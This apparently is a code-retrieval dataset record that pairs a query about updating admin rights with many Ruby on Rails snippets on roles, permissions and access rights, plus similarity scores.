"def create\n @tree_node_ac_rights = TreeNodeAcRight.new(params[:tree_node_ac_rights])\n @tree_node_ac_rights.tree_node_id = @tree_node_id\n respond_to do |format|\n if @tree_node_ac_rights.save\n flash[:notice] = 'TreeNodeAcRights was successfully created.'\n format.html { redirect_to(admin_tree_node_tree_node_permission_path(@tree_node_id, @tree_node_ac_rights)) }\n format.xml { render :xml => @tree_node_ac_rights, :status => :created, :location => @tree_node_ac_rights }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @tree_node_ac_rights.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def rights(*values)\n if values.size == 0\n @rights\n else\n args = values.pop\n args[:permissions] ||= []\n values.each do |value|\n args[:permissions] |= Array(value)\n end\n @rights ||= []\n @rights << args\n end\n end",
"def rights(*values)\n if values.size == 0\n @rights\n else\n args = values.pop\n args[:permissions] ||= []\n values.each do |value|\n args[:permissions] |= Array(value)\n end\n @rights ||= []\n @rights << args\n end\n end",
"def create\n @group = Group.new(group_params)\n #On vérifie que la liste de droits d'un groupe est effacé\n @group.rights.clear\n\n #On ajoute les droits choisis par un utilisateur\n params[:group][:right_ids] ||= []\n params[:group][:right_ids].each do |right|\n if !(right.blank?)\n @group.add_right(Right.find_by_id(right))\n end\n end\n\n respond_to do |format|\n if @group.save\n format.html { redirect_to @group, notice: t('group.created_msg') }\n format.json { render action: 'show', status: :created, location: @group }\n else\n format.html { render action: 'new' }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @roles_privilege = RolesPrivilege.new(roles_privilege_params)\n\n respond_to do |format|\n if @roles_privilege.save\n format.html { redirect_to @roles_privilege, notice: 'Roles privilege was successfully created.' }\n format.json { render :show, status: :created, location: @roles_privilege }\n else\n format.html { render :new }\n format.json { render json: @roles_privilege.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\t\t \t@created_priviliges = []\n\t\t \t@privileges_create = true\n\t\t\tparams[:privilege][:modular_id] && params[:privilege][:modular_id].each do |privilege_modular_id|\n\t\t\t\t@privilege = Privilege.where('role_id =? AND modular_id =?', params[:privilege][:role_id], privilege_modular_id).first\n\t\t\t\tif @privilege.nil?\n\t\t\t\t\t@privilege = Privilege.new(privilege_params)\n\t\t\t\t\t@privilege.modular_id = privilege_modular_id\n\t\t\t\t\t@privilege.save\n\t\t\t\t\t@created_priviliges << @privilege\n\t\t else\n\t\t \t@privileges_create = false\n\t\t\t\tend\n\t\t\tend\n\t\t\trespond_to :js\n\t\tend",
"def access_rights=(rights)\n if rights.is_a?(Array)\n rights = convert_access_rights_to_byte(rights)\n end\n @access_rights = rights\n end",
"def create\n # Find subject user\n subject = User.by_username_or_email(params[:username_or_email])\n\n if subject\n questionnaire_id = params[:questionnaire_id]\n user_id = session[:user_id]\n subject_id = subject.id\n\n # Find existing right, if it exists\n @right = Right.find_by(questionnaire_id: questionnaire_id,\n user_id: user_id, subject_id: subject_id)\n\n # Find active user's right for questionnaire, if it exists\n active_user_right = Right.find_by(questionnaire_id: questionnaire_id,\n subject_id: user_id)\n\n new_right_level = params[:write_permission] ? :rw : :r\n new_right_level = :r if active_user_right && active_user_right.level == :r\n new_right_level = :rw if @right && @right.level == :rw\n\n @right ||= Right.new\n @right.level = new_right_level\n @right.questionnaire_id = questionnaire_id\n @right.user_id = user_id\n @right.subject_id = subject_id\n\n if @right.save\n flash[:right_notice] = \"Enkäten har delats med #{subject.username}!\"\n else\n flash[:right_notice] = 'Ett fel uppstod.'\n end\n else\n flash[:right_notice] = 'Användaren kunde inte hittas.'\n end\n\n # respond_to do |format|\n # if @right.save\n # puts \"Saved right: #{@right.inspect}\"\n # format.html { render new_questionnaire_right_path(params[:questionnaire_id]), notice: 'Enkäten har delats!' }\n # # format.json { render :show, status: :created, location: @right }\n # else\n # format.html { render :new, notice: 'Ett fel uppstod.' }\n # # format.json { render json: @right.errors, status: :unprocessable_entity }\n # end\n # end\n\n redirect_to new_questionnaire_right_path(params[:questionnaire_id])\n end",
"def index\n @rights_holders = RightsHolder.all\n end",
"def role_params\n params.require(:role).permit(:name, :description, roles_rights_attributes: [ :id, :access_level, :right_id])\n end",
"def create\n abilities = []\n client_application = current_user.client_application_id.to_s\n @abilities = Role.get_method_names.sort\n @role = Role.new(role_params)\n params[:role][:role_abilities].each do |ability|\n abilities << ability.to_sym\n end\n @role.role_abilities = [{\"action\"=> abilities, \"subject\"=>[:api]}]\n @role.client_application_id = client_application\n respond_to do |format|\n if @role.save\n format.html { redirect_to roles_path, notice: 'Role was successfully created.' }\n format.json { render :index, status: :created, location: @role }\n else\n format.html { render :new }\n format.json { render json: @role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @right_type = RightType.new(right_type_params)\n\n respond_to do |format|\n if @right_type.save\n format.html { redirect_to @right_type, notice: 'Right type was successfully created.' }\n format.json { render :show, status: :created, location: @right_type }\n else\n format.html { render :new }\n format.json { render json: @right_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def destroy\n @right = Right.find(params[:id])\n @right.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_rights_url }\n format.json { head :no_content }\n end\n end",
"def rights_holder_params\n params.require(:rights_holder).permit(:name, :website, :email, :stored_product_id)\n end",
"def security_create_right(data)\n plist = CFPropertyList::List.new\n plist.value = CFPropertyList.guess(data)\n tmp = Tempfile.new('puppet_macauthdb')\n begin\n plist.save(tmp.path, CFPropertyList::List::FORMAT_XML)\n tmp.close\n cmds = [:security, \"authorizationdb\", \"write\", resource[:name]]\n execute(cmds, :failonfail => false, :combine => false, \n :stdinfile => tmp.path.to_s)\n rescue Errno::EACCES => e\n raise Puppet::Error.new(\"Cannot save right to #{tmp.path}: #{e}\")\n ensure\n tmp.unlink\n end\n end",
"def create\n @occasion = Occasion.new(occasion_params)\n @occasion.administrators << current_user\n respond_to do |format|\n if @occasion.save\n format.html { redirect_to @occasion, notice: 'Occasion was successfully created.' }\n format.json { render :show, status: :created, location: @occasion }\n else\n format.html { render :new }\n format.json { render json: @occasion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def publisher_admin(role)\n\n can :manage, Publication, :publisher_id => role.publisher_id\n can :update, Publisher, :id => role.publisher_id\n can :update, IssueState\n can :update, AdminUser, :id => @user.id\n\n\n\n end",
"def group_params\n params.require(:group).permit(:name, rights_attributes: [:id, :name, :is_available, :right_ids])\n end",
"def set_rights_holder\n @rights_holder = RightsHolder.find(params[:id])\n end",
"def create\n @role_privilege = RolePrivilege.new(role_privilege_params)\n\n respond_to do |format|\n if @role_privilege.save\n format.html { redirect_to role_privileges_url, notice: 'Uloga i privilegija su uspješno povezane.' }\n format.json { render :show, status: :created, location: @role_privilege }\n else\n format.html { render :new }\n format.json { render json: @role_privilege.errors, status: :unprocessable_entity }\n end\n end\n end",
"def access_rights\n convert_byte_to_access_rights @access_rights if @access_rights\n end",
"def create\n authorize Admin\n @admin = current_admin.own_users.new(admin_params)\n respond_to do |format|\n if @admin.save\n format.html { redirect_to admins_url, notice: 'Admin was successfully created.' }\n format.json { render :show, status: :created, location: @admin }\n else\n format.html { render :new }\n format.json { render json: @admin.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @role = Role.new(params[:role])\n\n @perms = params[:permissions[\"permissions\"]]\n if @perms != nil\n @permissions = @perms[\"permissions\"]\n end\n #logger.debug \"PERMISSIONS: #{@permissions.inspect}\"\n if @permissions == nil\n @role.read = 0\n @role.write = 0\n @role.execute = 0\n end\n if @permissions != nil\n if @permissions.include?(\"read\")\n @role.read = 1\n else\n @role.read = 0\n end\n if @permissions.include?(\"write\")\n @role.write = 1\n else\n @role.write = 0\n end\n if @permissions.include?(\"execute\")\n @role.execute = 1\n else\n @role.execute = 0\n end\n end\n \n respond_to do |format|\n if @role.save\n format.html { redirect_to @role, notice: t(:role_created) }\n format.json { render json: @role, status: :created, location: @role }\n else\n format.html { render action: \"new\" }\n format.json { render json: @role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def make_admin\n authorize! @user\n @user.roles = @user.roles + ['admin']\n @user.save\n redirect_to @user, notice: t('user.made_admin', name: @user.username)\n end",
"def has_right?(right_value)\n role_object[\"rights\"].include? right_value\n end",
"def create\n\n @roles_and_permission = @roles.roles_and_permission.new(params[:roles_and_permission])\n \n respond_to do |format|\n if @roles_and_permission.save\n format.html { redirect_to [@roles, @roles_and_permission ], notice: 'Roles and permission was successfully created.' }\n format.json { render json: @roles_and_permission, status: :created, location: @roles_and_permission }\n else\n format.html { render action: \"new\" }\n format.json { render json: @roles_and_permission.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_right\n @right = Right.find(params[:id])\n end",
"def create\n @grupo = Grupo.new(params[:grupo])\n authorize! :create, @grupo\n\n respond_to do |format|\n if @grupo.save\n current_user.add_role :owner, @grupo\n \n format.html { redirect_to grupo_path(@grupo), notice: 'Grupo was successfully created.' }\n format.json { render json: @grupo, status: :created, location: @grupo }\n else\n format.html { render action: \"new\" }\n format.json { render json: @grupo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_rights_metadata\n self.edit_groups = ['Chronos-Pligtaflevering']\n self.read_groups = ['Chronos-Alle']\n self.discover_groups = ['Chronos-Alle']\n end",
"def update\n @access_right = AccessRight.find(params[:id])\n\n respond_to do |format|\n if @access_right.update_attributes(params[:access_right])\n format.html { redirect_to @access_right, notice: 'Access right was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @access_right.errors, status: :unprocessable_entity }\n end\n end\n end",
"def destroy\n @right.destroy\n respond_to do |format|\n format.html { redirect_to rights_url, notice: 'Right was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def determine_rights(druid)\n rights = 'Restricted'\n xml = Dor::Item.find(\"druid:#{druid}\").rightsMetadata.ng_xml\n if xml.search('//rightsMetadata/access[@type=\\'read\\']/machine/world').length > 0\n rights = 'Public'\n end\n\n [rights, xml.to_xml(indent: 0)]\n end",
"def determine_rights(druid)\n rights = 'Restricted'\n xml = Dor::Item.find(\"druid:#{druid}\").rightsMetadata.ng_xml\n if xml.search('//rightsMetadata/access[@type=\\'read\\']/machine/world').length > 0\n rights = 'Public'\n end\n\n [rights, xml.to_xml(indent: 0)]\n end",
"def rights\n get_text(@xpaths[\"rights\"])\n end",
"def update\n respond_to do |format|\n if @rights_holder.update(rights_holder_params)\n format.html { redirect_to @rights_holder, notice: 'Rights holder was successfully updated.' }\n format.json { render :show, status: :ok, location: @rights_holder }\n else\n format.html { render :edit }\n format.json { render json: @rights_holder.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @right = Right.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @right }\n end\n end",
"def has_rights(*some_right_names)\n some_right_names.each do |right|\n has_right(right)\n end\n end",
"def rights_statement\n authority = Qa::Authorities::Local.subauthority_for('rights_statements')\n rights_statement = map_field(:rights_statement).to_a.map do |label|\n label = { 'pd' => 'public domain' }[label] || label # these values need to be mapped\n term = authority.all.find { |h| h[:label] == label }\n term.blank? ? label : term[:id]\n end\n rights_statement << authority.all.find { |h| h[:label] == 'unknown' }[:id] if rights_statement.empty?\n rights_statement\n end",
"def create\n @readonly_administrator = ReadonlyAdministrator.new(params[:readonly_administrator])\n if @readonly_administrator.save\n respond_with @readonly_administrator, status: :created, location: @readonly_administrator\n else\n respond_with @readonly_administrator, status: :unprocessable_entity\n end\n end",
"def update\n @right = Right.find(params[:id])\n\n respond_to do |format|\n if @right.update_attributes(params[:right])\n format.html { redirect_to admin_right_path(@right), notice: 'Right was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @right.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @restriction = Restriction.new(params[:restriction])\n\n if @restriction.save\n render json: @restriction, status: :created, location: @restriction\n else\n render json: @restriction.errors, status: :unprocessable_entity\n end\n end",
"def object_rights\n convert_value_to_array(model.object_rights).slice(0,1) # return an array containing only the first object_rights or an empty array\n end",
"def set_right\n @right = Right.find(params[:id])\n end",
"def es_recolector \n if current_user.rol != 2\n render json: {entrega: [\"Operación no permitida para este rol de usuario\"]}, status:401 \n end\n end",
"def create\n\t\tauthorize! :create, TipoPrivilegio\n @tipo_privilegio = TipoPrivilegio.new(tipo_privilegio_params)\n\n respond_to do |format|\n if @tipo_privilegio.save\n\t\t\t\t\t\tsesion= Sesion.find_by(usuario_id: current_usuario.id, fechaFin: nil)\n\t\t\t\tTransaccion.create!(\n \t\t\t\tdescripcion: \"Creación del tipo de Privilegio : #{@tipo_privilegio.attributes}\",\n \t\t\t\tsesion_id: sesion.id\n\t\t\t\t)\n format.html { redirect_to @tipo_privilegio\nflash[:success] = 'Tipo privilegio fue creado satisfactoriamente.' }\n format.json { render :show, status: :created, location: @tipo_privilegio }\n else\n format.html { render :new }\n format.json { render json: @tipo_privilegio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n submenu_item 'role_new'\n load_permissions\n ids=params[:permissions].select{|k,v| v=='1'}.map { |k,v| k.to_i } unless params[:permissions].nil?\n if ids.length > 0\n permissions=Permission.find(:all, :conditions => [\"id in (#{ids.join(',')})\"])\n params[:role][:permissions] = permissions\n @role = Role.new(params[:role])\n if @role.save\n flash[:notice] = \"创建角色成功\"\n redirect_to :action => 'index'\n else\n flash[:error] = \"创建角色失败\"\n render :action => 'new'\n end\n else\n flash[:error] = \"角色名或权限不能为空\"\n redirect_to :action => 'new'\n end\n\n end",
"def index\n authorize Role\n\n respond_to do |format|\n format.json { render json: @roles }\n end\n end",
"def create\n @manage_admin = Manage::Admin.new(manage_admin_params)\n @admin_roles= @manage_admin.roles\n respond_to do |format|\n if @manage_admin.save\n\n # 保存角色信息\n roles_id=params[:roles]\n @manage_admin.roles_in_id=roles_id\n\n format.html { redirect_to @manage_admin, notice: \"成功创建管理员#{@manage_admin.nickname}.\" }\n\n format.json { render :show, status: :created, location: @manage_admin }\n else\n format.html { render :new }\n format.json { render json: @manage_admin.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @orden_anulada = OrdenAnulada.new(orden_anulada_params)\n authorize @orden\n respond_to do |format|\n if @orden_anulada.save\n format.html { redirect_to @orden_anulada, notice: 'OrdenAnulada creado.' }\n format.json { render :show, status: :created, location: @orden_anulada }\n else\n format.html { render :new }\n format.json { render json: @orden_anulada.errors, status: :unprocessable_entity }\n end\n end\n end",
"def has_right(right_name)\n right = Right.find_by_name( right_name.to_s ) \n if right.nil?\n return self.rights.create( :name => right_name.to_s )\n end\n self.rights << right if right and not self.rights.exists?( right.id )\n end",
"def create\n\t\tauthorize! :create, AsignacionRol\n @asignacion_rol = AsignacionRol.new(asignacion_rol_params)\n @asignacion_rol.esActual = true\n @asignacion_rol.active = true\n @proyecto = @asignacion_rol.proyecto\n @roles = []\n @rols = Rol.where(tipo_rol: TipoRol.where(nombre:'Proyecto'))\n coor_sist = Rol.where(\"nombre = ?\", 'Coordinador Sistema').first\n asig_func = AsignacionFuncion.where(\"usuario_id = ? AND rol_id = ?\", current_usuario, coor_sist).first\n @rols.each do |rol|\n if rol.nombre != 'Coordinador' || asig_func != nil then\n @roles << rol\n end\n end\n if unica(@asignacion_rol.usuario_id,@asignacion_rol.proyecto_id, @asignacion_rol.rol_id) == true\n\t respond_to do |format|\n\t if @asignacion_rol.save\n sesion= Sesion.find_by(usuario_id: current_usuario.id, fechaFin: nil)\n Transaccion.create!(\n \t\t descripcion: \"Creación asociación rol #{@asignacion_rol.rol.nombre} al usuario #{@asignacion_rol.usuario.nombreUsuario} del proyecto #{@asignacion_rol.proyecto.nombre} : actual = #{ t @asignacion_rol.esActual.to_s}\",\n \t\t sesion_id: sesion.id ,\n \t\t proyecto_id: @asignacion_rol.proyecto.id)\n\t\tformat.html {redirect_to :controller => 'asignacion_roles', :action => 'index',:proyecto_id => @asignacion_rol.proyecto.id } \n\t\tformat.json { render :show, status: :created, location: @asignacion_rol }\n\t else\n params[:usuario_id] = @asignacion_rol.usuario_id\n \t\tformat.html { render :new }\n \t\tformat.json { render json: @asignacion_rol.errors, status: :unprocessable_entity }\n\t end\n\t end\n else\n\t respond_to do |format|\n\t\t format.html { redirect_to :controller => 'asignacion_roles', :action => 'index', :proyecto_id => @asignacion_rol.proyecto.id\n\t\t flash[:danger] = 'El usuario ya se encuentra asignado' } \n\t end\n end\n end",
"def default_rights=(rights)\n rights=rights.downcase\n ds = self.defaultObjectRights\n rights_xml=ds.ng_xml\n rights_xml.search('//rightsMetadata/access[@type=\\'discover\\']/machine').each do |node|\n node.children.remove\n if rights=='dark'\n world_node=Nokogiri::XML::Node.new('none',rights_xml)\n node.add_child(world_node)\n else\n world_node=Nokogiri::XML::Node.new('world',rights_xml)\n node.add_child(world_node)\n end\n end\n rights_xml.search('//rightsMetadata/access[@type=\\'read\\']').each do |node|\n node.children.remove\n machine_node=Nokogiri::XML::Node.new('machine',rights_xml)\n if(rights=='world')\n world_node=Nokogiri::XML::Node.new(rights,rights_xml)\n node.add_child(machine_node)\n machine_node.add_child(world_node)\n end\n if rights=='stanford'\n world_node=Nokogiri::XML::Node.new(rights,rights_xml)\n node.add_child(machine_node)\n group_node=Nokogiri::XML::Node.new('group',rights_xml)\n group_node.content=\"Stanford\"\n node.add_child(machine_node)\n machine_node.add_child(group_node)\n end\n if rights=='none' || rights == 'dark'\n none_node=Nokogiri::XML::Node.new('none',rights_xml)\n node.add_child(machine_node)\n machine_node.add_child(none_node)\n end\n end\n end",
"def create\n @role = Role.new(role_params)\n @role.create_user_id = session[:user_id]\n #權限\n @atext = ''\n\n\n\n\n if @role.save\n\n params['point'].each do |po|\n @atext += po[0].to_s + ','\n end\n @role.text = @atext\n @role.save\n\n flash[:notice] = \"角色-新增成功!\"\n redirect_to action: \"index\"\n else\n @aces = Access.all\n render action: 'new'\n end\n\n # respond_to do |format|\n # if @role.save\n # format.html { redirect_to @role, notice: 'Role was successfully created.' }\n # format.json { render action: 'show', status: :created, location: @role }\n # else\n # format.html { render action: 'new' }\n # format.json { render json: @role.errors, status: :unprocessable_entity }\n # end\n # end\n end",
"def update_IT_Admin(roles)\n roles.each do |group|\n if group[\"groupTitle\"] == \"IT Administrator\"\n rights = group[\"rights\"]\n rights.push(SECURITY_EVENT_RIGHT).uniq!\n end\n end\nend",
"def right_type_params\n params.require(:right_type).permit(:name, :code, :about)\n end",
"def publication_admin(role)\n can :read, Publication, :id => role.publication_id\n can :update, Publication, :id => role.publication_id\n can :manage, Issue, :publication_id => role.publication_id\n can :update, AdminUser, :id => @user.id\n\n end",
"def new\n \n @roles_and_permission = @roles.roles_and_permission.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @roles_and_permission }\n end\n end",
"def AccessRights=(arg0)",
"def add_permissions\n [\"License\", \"Archive\", \"Contract\"].each do |doc|\n klass = doc.constantize\n doc_id = \"#{doc.downcase}_id\".to_sym\n permissions = self.send(\"#{doc.downcase.pluralize.singularize}_permissions\".to_sym)\n klass.find(:all).each { |record|\n permissions.create doc_id => record.id, :ycrole_id => self.id,\n :can_read => false, :can_write => false\n }\n end\n end",
"def create\n seleccionarMenu(:rondas)\n @ronda = current_usuario.rondas.build(params[:ronda])\n\n respond_to do |format|\n if @ronda.save\n format.html { redirect_to @ronda, notice: 'Ronda creada satisfactoriamente.' }\n format.json { render json: @ronda, status: :created, location: @ronda }\n else\n format.html { render action: \"new\" }\n format.json { render json: @ronda.errors, status: :unprocessable_entity }\n end\n end\n end",
"def assign_user_rights\n SysUserRight.joins(:sys_user_group).where(:sys_user_groups => {:user_group_name => session[:user_privilege].user_groups}).each do |right|\n action_on_table = right.sys_action_on_table\n session[(action_on_table.action + '_' + action_on_table.table_name).to_sym] = true if action_on_table.action[-4..-1] == '_all' #ex, session[:index_all_users], for table\n session[(action_on_table.action + '_' + action_on_table.table_name + '_' + right.accessible_column_name).to_sym] =\n true if right.accessible_column_name.present? #ex, session[:index_users_each_column] (full access), session[:index_users_name], for columns in a record\n end\n end",
"def add_right(op, role)\n h = self.hhash\n h['overview'] ||= {}\n h['overview'][op] = role\n self.update_attribute(:hhash, h)\n end",
"def volunteer_portal\n authorize! :volunteer_portal, :Reservation\n end",
"def roles\n @roles = Role.order(\"name\")\n\t@rights = Right.order(\"name\").map {|r| [r.name, r.id] }\n end",
"def create\n\t\tauthorize! :create, DetalleRestriccion\n @detalle_restriccion = @restriccion.detalle_restricciones.new(detalle_restriccion_params)\n @concepto_gastos = ConceptoGasto.all\n respond_to do |format|\n if @detalle_restriccion.save\n format.html { redirect_to gestionar_restricciones_path}\n #format.html { redirect_to @detalle_restriccion, notice: 'Detalle restriccion fue creado satisfactoriamente.' }\n #format.json { render :show, status: :created, location: @detalle_restriccion }\n else\n format.html { render :new }\n format.json { render json: @detalle_restriccion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def remove_rights(*values)\n if values.size == 0\n @remove_rights\n else\n args = values.pop\n args[:permissions] ||= []\n values.each do |value|\n args[:permissions] |= Array(value)\n end\n @remove_rights ||= []\n @remove_rights << args\n end\n end",
"def remove_rights(*values)\n if values.size == 0\n @remove_rights\n else\n args = values.pop\n args[:permissions] ||= []\n values.each do |value|\n args[:permissions] |= Array(value)\n end\n @remove_rights ||= []\n @remove_rights << args\n end\n end",
"def create\n if !grant_access(\"edit_roles\", current_user)\n head(403)\n end\n @role = Role.new(role_params)\n @role.user_id = current_user.id\n respond_to do |format|\n if @role.save\n format.html { redirect_to @role, notice: 'Role was successfully created.' }\n format.json { render :show, status: :created, location: @role }\n else\n format.html { render :new }\n format.json { render json: @role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def post_role(role)\n role = {\n \"id\"=>nil,\n \"name\"=>nil, \n \"description\"=>\"\", \n \"sessionTimeout\"=>\"60\",\n \"roles\"=>[],\n \"privileges\"=>[]\n }.merge(role);\n post(\"#{url_base}/roles\", {\"data\"=>role})[\"data\"]\n end",
"def create_right\n @dir = DirManager.find_by_id(params[:id])\n @element = DirAccess.new(params[:element])\n @element.dir_manager_id = @dir.id\n if @element.save\n flash[:notice] = \"Ce droit de répertoire a été correctement créé.\".trn\n redirect_to :action => \"right_dir\",:id => params[:id]\n else\n render :action => 'new_right'\n end\n end",
"def create\n @orden = Orden.new(orden_params)\n\t\tset_options_for_selects(@vendedor)\n\n respond_to do |format|\n if current_user.tiene_permiso_sobre?(@orden) && @orden.save\n format.html { redirect_to @orden, notice: 'La orden se creó exitosamente.' }\n format.json { render :show, status: :created, location: @orden }\n else\n format.html { render :new }\n format.json { render json: @orden.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @organization = Organization.new(organization_params)\n respond_to do |format|\n if @organization.save\n current_user.add_role :editor, @organization\n format.html { redirect_to organizations_path, notice: 'Thank you for your submission. It will be published once it is reviewed by the staff.' }\n format.json { render action: 'show', status: :created, location: @organization }\n else\n format.html { render action: 'new' }\n format.json { render json: @organization.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n authorize Inquiry\n @inquiry = Inquiry.new(inquiry_params)\n @inquiry.creator_id=current_user.id\n\n User.transaction do\n if @inquiry.save\n role=current_user.add_role(Role::ORGANIZER, @inquiry)\n @inquiry.user_roles << role.role_name\n role.save!\n render :show, status: :created, location: @inquiry\n else\n render json: {errors:@inquiry.errors.messages}, status: :unprocessable_entity\n end\n end\n end",
"def create\n @assigned = Assigned.new(assigned_params)\n @table = Relation.find_by_name( @assigned.relation )\n if @table.present?\n if RelationsController.check_permissions( @assigned.grantor, @assigned.relation, true )\n if RelationsController.check_permissions( @assigned.grantee, @assigned.relation, false )\n Log.new({user: current_user.user, \n subject: \"user:\"+@assigned.grantee,\n operation: \"granted access\",\n object: \"table:\"+@assigned.relation,\n parameters: \"canGrant:\"+@assigned.can_grant.to_s\n }).save\n respond_to do |format|\n if @assigned.save\n format.html { redirect_to @assigned, notice: 'Grant was successfully created.' }\n format.json { render :show, status: :created, location: @assigned }\n else\n format.html { redirect_to assigneds_path, notice: 'Problem saving Assigned.' }\n format.json { render json: @assigned.errors, status: :unprocessable_entity }\n end\n end\n else\n Log.new({user: current_user.user, \n subject: \"user:\"+@assigned.grantee,\n operation: \"GRANT DENIED\",\n object: \"table:\"+@assigned.relation,\n parameters: \"grantee:\"+@assigned.grantee\n }).save\n respond_to do |format|\n format.html { redirect_to :root, notice: @assigned.grantee+' does not have access to table '+@assigned.relation }\n format.json { render json: @assigned.errors, status: :unprocessable_entity }\n end\n end\n else\n Log.new({user: current_user.user, \n subject: \"user:\"+@assigned.grantee,\n operation: \"ACCESS DENIED\",\n object: \"table:\"+@assigned.relation,\n parameters: \"canGrant:\"+@assigned.can_grant.to_s\n }).save\n respond_to do |format|\n format.html { redirect_to :root, notice: 'Access denied to '+@assigned.relation }\n format.json { render json: @assigned.errors, status: :unprocessable_entity }\n end\n end\n else\n respond_to do |format|\n format.html { redirect_to :root, notice: 'Table not found: '+@assigned.relation }\n format.json { render json: @assigned.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n idForNote = params[:accessor][:note_id]\n idForAccessor = User.where(email: params[:accessor][:accessor_id]).first.id\n @accessor = Accessor.find_or_initialize_by_note_id_and_accessor_id_and_access_owner(idForNote, idForAccessor , current_user.id)\n @accessor.update_attributes(\n :access_rights => params[:accessor][:access_rights]\n )\n respond_to do |format|\n if @accessor.save\n format.html { redirect_to Note, notice: 'Premission granted' } #\n format.json { render action: 'index', status: :created, location: Note }#\n else\n format.html { render action: 'new' } #\n format.json { render json: @accessor.errors, status: :unprocessable_entity }#\n end\n end\n end",
"def create\n @relation = Relation.new(params[:relation])\n @relation.secret = false if !@user.admin?\n respond_to do |format|\n if @relation.save\n format.html { redirect_to @relation, notice: 'Relation a été crée avec succès.' }\n format.json { render json: @relation, status: :created, location: @relation }\n else\n format.html { render action: \"new\" }\n format.json { render json: @relation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @roles_privileges = RolesPrivilege.all\n end",
"def initialize_rights\n @permissions ||= {}\n @user_groups ||= {}\n\n @public_access ||= []\n @protected_access ||= []\n end"
] |
[
"0.67527276",
"0.66291976",
"0.66136247",
"0.6526833",
"0.64326364",
"0.64307266",
"0.6354329",
"0.6254608",
"0.61004204",
"0.61004204",
"0.61004204",
"0.61004204",
"0.61004204",
"0.59401983",
"0.5927311",
"0.5906211",
"0.59023947",
"0.58282226",
"0.5816841",
"0.5765109",
"0.57068795",
"0.5701394",
"0.56800133",
"0.5666126",
"0.566566",
"0.5652403",
"0.55912495",
"0.55776465",
"0.55729896",
"0.55609244",
"0.5543616",
"0.55391836",
"0.55350727",
"0.548869",
"0.5488405",
"0.5483036",
"0.5467499",
"0.54495114",
"0.54475147",
"0.5440403",
"0.5439946",
"0.5435809",
"0.5428245",
"0.5418476",
"0.5407103",
"0.53770816",
"0.5369851",
"0.53515846",
"0.53416",
"0.5331559",
"0.531798",
"0.5317639",
"0.53110987",
"0.530506",
"0.530506",
"0.5303879",
"0.52835983",
"0.52784204",
"0.5261113",
"0.5252224",
"0.52455324",
"0.5244675",
"0.5236707",
"0.5236057",
"0.52184665",
"0.52153736",
"0.5205305",
"0.5204678",
"0.5203548",
"0.51971334",
"0.51811445",
"0.5180073",
"0.51797706",
"0.51764613",
"0.5169426",
"0.5168618",
"0.5162267",
"0.5158855",
"0.5151391",
"0.51483506",
"0.51478124",
"0.51421434",
"0.51412195",
"0.5136644",
"0.5125358",
"0.5119297",
"0.5106441",
"0.51033026",
"0.51033026",
"0.508687",
"0.50862867",
"0.50839806",
"0.5081246",
"0.50791085",
"0.5078987",
"0.507693",
"0.50722027",
"0.5071104",
"0.50683534",
"0.506569"
] |
0.65926313
|
3
|
PUT /admin/rights/1 PUT /admin/rights/1.json
|
def update
@right = Right.find(params[:id])
respond_to do |format|
if @right.update_attributes(params[:right])
format.html { redirect_to admin_right_path(@right), notice: 'Right was successfully updated.' }
format.json { head :no_content }
else
format.html { render action: "edit" }
format.json { render json: @right.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_rights\n @rights = current_v1_user.rights.find_by(campground_id: params[:campground_id])\n end",
"def update\n @access_right = AccessRight.find(params[:id])\n\n respond_to do |format|\n if @access_right.update_attributes(params[:access_right])\n format.html { redirect_to @access_right, notice: 'Access right was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @access_right.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @rights_holder.update(rights_holder_params)\n format.html { redirect_to @rights_holder, notice: 'Rights holder was successfully updated.' }\n format.json { render :show, status: :ok, location: @rights_holder }\n else\n format.html { render :edit }\n format.json { render json: @rights_holder.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @role = Role.find(params[:id])\n \n @perms = params[:permissions[\"permissions\"]]\n if @perms != nil\n @permissions = @perms[\"permissions\"]\n end\n #logger.debug \"PERMISSIONS: #{@permissions.inspect}\"\n if @permissions == nil\n @role.read = 0\n @role.write = 0\n @role.execute = 0\n end\n if @permissions != nil\n if @permissions.include?(\"read\")\n @role.read = 1\n else\n @role.read = 0\n end\n if @permissions.include?(\"write\")\n @role.write = 1\n else\n @role.write = 0\n end\n if @permissions.include?(\"execute\")\n @role.execute = 1\n else\n @role.execute = 0\n end\n end\n\n respond_to do |format|\n if @role.update_attributes(params[:role])\n format.html { redirect_to @role, notice: t(:role_updated) }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def rights=(new_rights)\n @rights = new_rights\n end",
